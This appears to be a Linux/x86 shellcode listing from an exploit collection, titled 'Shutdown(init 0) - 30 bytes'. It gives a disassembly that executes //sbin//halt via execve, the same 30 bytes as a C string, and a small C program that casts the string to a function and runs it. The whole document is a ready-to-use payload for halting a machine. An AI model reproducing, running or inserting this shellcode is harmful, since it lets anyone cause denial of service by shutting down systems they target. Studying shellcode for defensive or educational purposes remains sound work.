28 lines
808 B
Text
Executable file
28 lines
808 B
Text
Executable file
Linux/x86 - Shutdown(init 0) - 30 bytes
|
||
|
||
#Greetz : Bomberman(Leader)
|
||
#Author : B3mB4m
|
||
|
||
08048060 <.text>:
|
||
8048060: 31 c0
|
||
8048062: 50
|
||
8048063: 68 68 61 6c 74 push $0x746c6168
|
||
8048068: 68 69 6e 2f 2f push $0x2f2f6e69
|
||
804806d: 68 2f 2f 73 62 push $0x62732f2f
|
||
8048072: 89 e3
|
||
8048074: 50
|
||
8048075: 89 e2
|
||
8048077: 53
|
||
8048078: 89 e1
|
||
804807a: b0 0b ;execve //sbin//halt
|
||
804807c: cd 80 syscall
|
||
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
|
||
char *diebich =
|
||
"\x31\xc0\x50\x68\x68\x61\x6c\x74\x68\x69\x6e\x2f\x2f\x68\x2f\x2f\x73\x62\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
|
||
|
||
int main(void){
|
||
fprintf(stdout,"Length: %d\n",strlen(diebich));
|
||
(*(void(*)()) diebich)();}
|